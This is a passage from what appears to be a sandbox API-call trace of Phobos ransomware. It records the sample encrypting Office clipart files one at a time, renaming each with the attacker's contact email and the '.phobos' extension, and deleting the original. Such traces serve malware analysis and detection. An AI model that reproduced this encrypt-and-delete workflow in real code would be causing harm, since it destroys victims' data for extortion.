Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0061.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.186] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.186] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.186] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0061.186] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.186] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xc20, lpOverlapped=0x0) returned 1 [0061.196] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc30, dwBufLen=0xc30 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc30) returned 1 [0061.196] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xc30, lpOverlapped=0x0) returned 1 [0061.196] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0061.196] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.196] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.196] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.196] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.197] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.197] CloseHandle (hObject=0x304) returned 1 [0061.197] CloseHandle (hObject=0x338) returned 1 [0061.197] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0061.198] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.199] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1588) returned 1 [0061.199] CloseHandle (hObject=0x338) returned 1 [0061.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0061.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.199] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb30) returned 1 [0061.199] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.199] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x634, lpOverlapped=0x0) returned 1 [0061.201] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x640, dwBufLen=0x640 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x640) returned 1 [0061.201] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x640, lpOverlapped=0x0) returned 1 [0061.202] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0061.202] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.202] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.202] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.202] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.202] CryptDestroyKey (hKey=0x10cb30) returned 1 [0061.202] CloseHandle (hObject=0x338) returned 1 [0061.202] CloseHandle (hObject=0x304) returned 1 [0061.203] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0061.203] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.204] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1212) returned 1 [0061.204] CloseHandle (hObject=0x304) returned 1 [0061.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0061.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.205] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.205] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.205] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0061.205] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.205] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4bc, lpOverlapped=0x0) returned 1 [0061.207] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4c0) returned 1 [0061.207] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4c0, lpOverlapped=0x0) returned 1 [0061.207] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce70) returned 1 [0061.208] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.208] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.208] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.208] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.208] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.208] CloseHandle (hObject=0x304) returned 1 [0061.208] CloseHandle (hObject=0x338) returned 1 [0061.209] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0061.209] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.210] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2052) returned 1 [0061.210] CloseHandle (hObject=0x338) returned 1 [0061.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0061.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.210] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.210] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.211] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0061.211] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.211] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x804, lpOverlapped=0x0) returned 1 [0061.212] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x810, dwBufLen=0x810 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x810) returned 1 [0061.212] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x810, lpOverlapped=0x0) returned 1 [0061.213] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbf0) returned 1 [0061.213] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.213] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.213] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0061.213] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.213] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.213] CloseHandle (hObject=0x338) returned 1 [0061.213] CloseHandle (hObject=0x304) returned 1 [0061.214] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0061.214] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.215] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=5580) returned 1 [0061.215] CloseHandle (hObject=0x304) returned 1 [0061.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0061.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.215] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.215] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.215] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0061.216] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.216] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x15cc, lpOverlapped=0x0) returned 1 [0061.217] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x15d0) returned 1 [0061.217] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x15d0, lpOverlapped=0x0) returned 1 [0061.218] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb70) returned 1 [0061.218] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.218] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0061.218] CryptDestroyKey (hKey=0x10cb70) returned 1 [0061.218] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0061.218] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.218] CloseHandle (hObject=0x304) returned 1 [0061.218] CloseHandle (hObject=0x338) returned 1 [0061.219] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0061.219] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0061.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.220] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3524) returned 1 [0061.220] CloseHandle (hObject=0x338) returned 1 [0061.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0061.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.220] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.220] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0061.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.221] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb70) returned 1 [0061.221] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0061.221] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xdc4, lpOverlapped=0x0) returned 1 [0061.644] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xdd0) returned 1 [0061.644] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | 